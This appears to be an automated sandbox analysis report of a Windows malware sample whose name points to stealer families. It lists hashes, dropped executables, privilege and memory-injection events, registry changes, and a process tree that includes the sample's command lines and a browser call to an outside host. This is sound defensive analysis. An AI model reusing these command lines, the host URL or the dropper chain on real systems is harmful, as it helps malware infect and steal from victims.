5cf4b958b77253807cc329038c1621b29754578c218a8cc1df116f5516a05471

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/07/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260701-dd3msaez2x
SHA256 5cf4b958b77253807cc329038c1621b29754578c218a8cc1df116f5516a05471
MD5 c570fad2846cf9eb1a87c149f711381f
SHA1 7495e352759ada0f4ffd077a8ed5f4c90b28c9b9
SHA512 2a62cd62425686b686df068ac8857d13e7a515601a9ebd9965f8cd07d9b98e1a48a2b329c6113721f271cb3bcaef4b3a8e35c2471581f2c10a2b5fe0532ac160
SSDEEP 3072:eGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:1XY4LK+a3lLNngoqRttA7
TLSH
T11034490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
4576	CP.exe
2956	snlfdxvpki.exe
3184	CP.exe
4328	CP.exe
1880	i_snlfdxvpki.exe
2560	xspkicausm.sys
4176	CP.exe
1080	mkfcxvpnhf.exe
3372	CP.exe
4080	CP.exe
2356	i_mkfcxvpnhf.exe
724	pmhfzxrpjh.sys
1728	CP.exe
700	hcwuomhezx.exe
2284	CP.exe
3764	CP.exe
5020	i_hcwuomhezx.exe
3796	mkecwupmhf.sys
1160	CP.exe
2920	trmjecwuom.exe
4588	CP.exe
4160	CP.exe
5032	i_trmjecwuom.exe
3744	ebwuomgeyw.sys
4956	CP.exe
2796	wuomgezwrp.exe
2984	CP.exe
4296	CP.exe
3044	i_wuomgezwrp.exe
3132	bvtolgeywq.sys
5036	CP.exe
1572	eywqojgbzt.exe
3092	CP.exe
416	CP.exe
2056	i_eywqojgbzt.exe
2144	dbvtnlgdyw.sys
688	CP.exe
4812	qljdbvtnlg.exe
4428	CP.exe
3564	CP.exe
1016	i_qljdbvtnlg.exe
532	dywqoigayt.sys
4624	CP.exe
796	faysqkicav.exe
3200	CP.exe
2828	CP.exe
3976	i_faysqkicav.exe
2864	pnigaysqki.sys
1876	CP.exe
4592	idavpnifay.exe
824	CP.exe
2148	CP.exe
4248	i_idavpnifay.exe
3452	kicausnkfd.sys
4796	CP.exe
1760	cxvpnhfzxs.exe
2736	CP.exe
3044	CP.exe
1884	i_cxvpnhfzxs.exe
3796	hcausmkecx.sys
4400	CP.exe
1612	xupmhfzxrp.exe
4992	CP.exe
840	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xsqkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xsqkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhczusmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhczusmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqkidavq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavpnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idavpnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqkidavq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnigaysqk.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2076	ipconfig.exe
1540	ipconfig.exe
564	ipconfig.exe
2492	ipconfig.exe
3768	ipconfig.exe
2496	ipconfig.exe
4720	ipconfig.exe
2820	ipconfig.exe
3396	ipconfig.exe
176	ipconfig.exe
4196	ipconfig.exe
3132	ipconfig.exe
1704	ipconfig.exe
1280	ipconfig.exe
2188	ipconfig.exe
2668	ipconfig.exe
1540	ipconfig.exe
1648	ipconfig.exe
2788	ipconfig.exe
5000	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31262980"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac822130000000002000000000010660000000100002000000009ac6f1e4698d292bd19bc03e0e0b849f31f85096de0318d1ec6f10e9c982ec3000000000e800000000200002000000010ce0b42869813ecafc867c60152a9dd7cbc8082611badc9a24faad8a6d0fd4c200000007047fcfb692dd59c50964079c7eef2e799fc77802960a944b2eef76566aa32ec400000003335a07346fd00ad3926040b166ecbd578f0978a5f45bdc2dd8c19ef14dd6fc0fde0d876bebdde174f21dbff40939bd3fba6d6c632a1fcefe274c18d5cdd7d31	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2B61C234-74F8-11F1-AA2C-EEAAB15450A7} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "489639440"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2505509"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31262981"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac822130000000002000000000010660000000100002000000079d6a7a535ecf78b7d2238e4a9174f12bb5cece35da2481c78e54ba49b98026c000000000e80000000020000200000004dcf6dbaec1c38f5a65b6d51c60baea52598a9d3647efb5325744fda6bd920df20000000137c3eedefb2ffaf4d0ef9f4d46803c47483d218ef1af59ff616ae08d4a0561140000000db2b2cd02ef6e0be8a05b97c2ca4ac354154167bf0b4f80ce32268f25cce16bcc0474a754ff8fa1026c2f71c8aec338cc1e99fbe6f05f298cd5aa14f5eb4aa4f	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 205f4c620d09dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4292472644"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 101a51620d09dd01	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1880	i_snlfdxvpki.exe
Token: SeDebugPrivilege	2356	i_mkfcxvpnhf.exe
Token: SeDebugPrivilege	5020	i_hcwuomhezx.exe
Token: SeDebugPrivilege	5032	i_trmjecwuom.exe
Token: SeDebugPrivilege	3044	i_wuomgezwrp.exe
Token: SeDebugPrivilege	2056	i_eywqojgbzt.exe
Token: SeDebugPrivilege	1016	i_qljdbvtnlg.exe
Token: SeDebugPrivilege	3976	i_faysqkicav.exe
Token: SeDebugPrivilege	4248	i_idavpnifay.exe
Token: SeDebugPrivilege	1884	i_cxvpnhfzxs.exe
Token: SeDebugPrivilege	3096	i_xupmhfzxrp.exe
Token: SeDebugPrivilege	1924	i_rpjhczurmk.exe
Token: SeDebugPrivilege	4932	i_trmjecwuom.exe
Token: SeDebugPrivilege	2248	i_ojgbztrlje.exe
Token: SeDebugPrivilege	3036	i_ywqoigbytr.exe
Token: SeDebugPrivilege	1920	i_vqnigaysqk.exe
Token: SeDebugPrivilege	1052	i_aysqkidavq.exe
Token: SeDebugPrivilege	5028	i_xsqkfdxvpn.exe
Token: SeDebugPrivilege	4196	i_smkecxupnh.exe
Token: SeDebugPrivilege	3628	i_pjhczusmke.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2804	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2804	iexplore.exe
2804	iexplore.exe
3460	IEXPLORE.EXE
3460	IEXPLORE.EXE
3460	IEXPLORE.EXE
3460	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 2804	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	84
PID 2804 wrote to memory of 3460	2804	iexplore.exe	85
PID 2040 wrote to memory of 4576	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	86
PID 2956 wrote to memory of 3184	2956	snlfdxvpki.exe	89
PID 2040 wrote to memory of 4328	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	94
PID 2040 wrote to memory of 4176	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	102
PID 1080 wrote to memory of 3372	1080	mkfcxvpnhf.exe	104
PID 2040 wrote to memory of 4080	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 2040 wrote to memory of 1728	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 700 wrote to memory of 2284	700	hcwuomhezx.exe	118
PID 2040 wrote to memory of 3764	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 2040 wrote to memory of 1160	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 2920 wrote to memory of 4588	2920	trmjecwuom.exe	130
PID 2040 wrote to memory of 4160	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 2040 wrote to memory of 4956	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	140
PID 2796 wrote to memory of 2984	2796	wuomgezwrp.exe	142
PID 2040 wrote to memory of 4296	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	145
PID 2040 wrote to memory of 5036	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 1572 wrote to memory of 3092	1572	eywqojgbzt.exe	151
PID 2040 wrote to memory of 416	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 2040 wrote to memory of 688	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4812 wrote to memory of 4428	4812	qljdbvtnlg.exe	161
PID 2040 wrote to memory of 3564	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	164
PID 2040 wrote to memory of 4624	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	171
PID 796 wrote to memory of 3200	796	faysqkicav.exe	173
PID 2040 wrote to memory of 2828	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	176
PID 2040 wrote to memory of 1876	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 4592 wrote to memory of 824	4592	idavpnifay.exe	183
PID 2040 wrote to memory of 2148	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	186
PID 2040 wrote to memory of 4796	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	190
PID 1760 wrote to memory of 2736	1760	cxvpnhfzxs.exe	192
PID 2040 wrote to memory of 3044	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	195
PID 2040 wrote to memory of 4400	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	199
PID 1612 wrote to memory of 4992	1612	xupmhfzxrp.exe	201
PID 2040 wrote to memory of 840	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	204
PID 2040 wrote to memory of 4660	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	211
PID 4384 wrote to memory of 4332	4384	rpjhczurmk.exe	213
PID 2040 wrote to memory of 4852	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	216
PID 2040 wrote to memory of 4012	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	220
PID 1440 wrote to memory of 2232	1440	trmjecwuom.exe	222
PID 2040 wrote to memory of 4580	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	225
PID 2040 wrote to memory of 4976	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	229
PID 4480 wrote to memory of 1484	4480	ojgbztrlje.exe	231
PID 2040 wrote to memory of 1136	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	234
PID 2040 wrote to memory of 2172	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	238
PID 2808 wrote to memory of 3660	2808	ywqoigbytr.exe	240
PID 2040 wrote to memory of 4836	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	243
PID 2040 wrote to memory of 1336	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	247
PID 4952 wrote to memory of 4192	4952	vqnigaysqk.exe	249
PID 2040 wrote to memory of 3952	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	253
PID 2040 wrote to memory of 3604	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	257
PID 1628 wrote to memory of 1788	1628	aysqkidavq.exe	259
PID 2040 wrote to memory of 972	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	262
PID 2040 wrote to memory of 3040	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	266
PID 4128 wrote to memory of 4404	4128	xsqkfdxvpn.exe	268
PID 2040 wrote to memory of 4508	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	271
PID 2040 wrote to memory of 2060	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	275
PID 4248 wrote to memory of 1540	4248	smkecxupnh.exe	277
PID 2040 wrote to memory of 1872	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	281
PID 2040 wrote to memory of 3876	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	285
PID 3136 wrote to memory of 2160	3136	pjhczusmke.exe	287
PID 2040 wrote to memory of 3264	2040	2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe	290

C:\Users\Admin\AppData\Local\Temp\2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_c570fad2846cf9eb1a87c149f711381f_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2804 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\snlfdxvpki.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4576
- - C:\Temp\snlfdxvpki.exe
    C:\Temp\snlfdxvpki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3184
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2076
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_snlfdxvpki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4328
- - C:\Temp\i_snlfdxvpki.exe
    C:\Temp\i_snlfdxvpki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfcxvpnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4176
- - C:\Temp\mkfcxvpnhf.exe
    C:\Temp\mkfcxvpnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3372
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1540
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkfcxvpnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4080
- - C:\Temp\i_mkfcxvpnhf.exe
    C:\Temp\i_mkfcxvpnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hcwuomhezx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1728
- - C:\Temp\hcwuomhezx.exe
    C:\Temp\hcwuomhezx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2284
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2496
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hcwuomhezx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3764
- - C:\Temp\i_hcwuomhezx.exe
    C:\Temp\i_hcwuomhezx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\trmjecwuom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1160
- - C:\Temp\trmjecwuom.exe
    C:\Temp\trmjecwuom.exe ups_run
    3⤵
